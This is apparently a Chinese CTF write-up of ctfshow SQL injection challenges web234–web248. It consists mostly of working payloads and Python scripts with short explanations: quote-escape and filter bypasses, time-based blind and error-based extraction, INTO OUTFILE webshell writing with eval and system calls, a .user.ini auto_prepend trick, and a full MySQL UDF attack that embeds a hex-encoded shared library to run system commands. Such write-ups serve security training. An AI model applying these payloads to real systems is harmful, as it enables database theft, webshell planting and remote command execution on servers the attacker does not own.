payload=f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{j},sleep(0.02),1)#"
data={
'username': payload,
'password':'1'}
try:
r=requests.post(url=url,data=data,timeout=0.35)
min=j
except:
max=j
time.sleep(0.3)
web234
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
难点:过滤了单引号
分析:
用反斜杠来绕过
$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";
\ 转义了后面的 '
这个 ' 不再是字符串结束符,pass就是如下字符串
pass='\' where username = '
解决方法:
POST:
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
password=\&username=,username=(select flagass23s3 from flag23a)#

web235
查询语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
返回逻辑
//过滤 or ' flag information_schema
解决:
用mysql.innodb_table_stats来代替information_schema
table_schema就要改成database_name
POST:
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
返回:
banlist,ctfshow_user,flag23a1
无列名注入:
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a)#
解释:
内层子查询:
select 1,2,3
union
select * from flag23a1
select的列按位置对齐
select group_concat(`2`) from ( ... ) a
`2` 是列名叫做 “2” 的那一列,列名来自第一条 select 1,2,3
所以2 = flag 列内容
select group_concat(`2`)
from (
select 1,2,3
union
select * from flag23a1
) a
凡是出现在 FROM 后面的子查询,必须提供别名,这里是别名a
web236
同上
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)#
password=\&username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1)#
web237
考点:insert注入
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1
username=helloworld',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1
username=helloworld',(select group_concat(flagass23s3) from flag))#&password=1
web238
难点:过滤空格
解决:用括号
POST:
username=helloworld',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1
username=helloworld',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#&password=1
username=helloworld',(select(group_concat(flag))from(flagb)));#&password=1
web239
难点:过滤了空格和or,information_schema用不了了
解决:用mysql.innodb_table_stats
POST:
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1
username=1',(select(flag)from(flagbb)));#&password=1
web240
难点:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
解决:爆破
前面都是在flag里,所以flag先确定下来
import requests
import itertools
url = "http://813eb4f9-fbad-471d-893e-6038e8c96ecc.challenge.ctf.show/api/insert.php"
for i in itertools.product('ab', repeat = 5):
tables = "flag" + ''.join(i)
payload = {
'username': f"1',(select(group_concat(flag))from({tables})))#",
'password': '1'
}
r = requests.post(url=url, data=payload)
解释:
for i in itertools.product('ab', repeat = 5):
字符集:a b
长度:5
总组合数:2^5 = 32
生成结果:
aaaaa
aaaab
aaaba
...
bbbbb
web241
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
难点:没有回显的位置
解决:盲注
时间盲注
import requests
import time
url='http://cc1c78da-96c2-40a8-a926-d51bf449031d.challenge.ctf.show/api/delete.php'
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
#payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)" payload=f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"
data={
'id':payload
}
try:
r=requests.post(url=url,data=data,timeout=0.35)
min=j
except:
max=j
time.sleep(0.3)
web242
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
OPTION参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
接口:
api/dump.php
LINES STARTING BY '字符串':设置每行数据开头的字符
POST:
filename=flag.php' LINES STARTING BY '<?php eval($_GET[1]);?>'#
访问页面
url/dump/ma.php?1=system('cat /flag.here');

web243
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
难点: 过滤了php
解决:
利用user.ini
filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
然后再传1.jpg
filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#
访问
/dump/index.php?1=system('cat /flag.here');
解释:
编码前:
auto_prepend_file=1.jpg
为保证auto_prepend_file=1.jpg在单独一行,所以在开头结尾都加上了0x0a来换行
web244
//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
考点:报错注入
extractvalue:
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e))+--+
updatexml:
/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+
/api/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e),1)+--+
/api/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e),1)+--+
web245
考点:报错注入
难点:过滤了updatexml
解决用extractvalue
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e))--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),20,30),0x7e))+--+
web246
考点:报错注入
难点:过滤updatexml extractvalue
解决:
1.floor()、round()、ceil()
2.exp() //5.5.5版本之后可以使用
3.name_const
4.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
/api/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+
/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+
/api/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+
/api/?id=1' union select 1,count(*),concat(0x7e,(select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+
web247
考点:报错注入
难点:过滤updatexml extractvalue floor
解决:
改成round
表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符
/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+
/api/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+
/api/?id=' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+
解释:字段名flag变成了flag?,表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符
web248
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
考点:UDF注入
解决:
把dll文件写到目标机子的plugin目录
1'; select @@plugin_dir; --+
查出路径为
/usr/lib/mariadb/plugin/
然后CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; //导入udf函数
利用堆叠注入写进去
import requests
base_url="http://994eba84-9ea5-4701-b204-01320382100c.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
核心思路:
1.把恶意 so 文件写进 plugin_dir
2.CREATE FUNCTION 绑定 so
3.调用函数 → 执行系统命令
切片写入 Linux 下的 MySQL UDF 动态库
因为MySQL 限制dumpfile 写入的数据量有限、URL / SQL 长度有限,一次写完整 so 很容易失败
然后拼接二进制文件
select concat(
load_file('a.txt'),
load_file('b.txt'),
...
) into dumpfile 'udf.so'
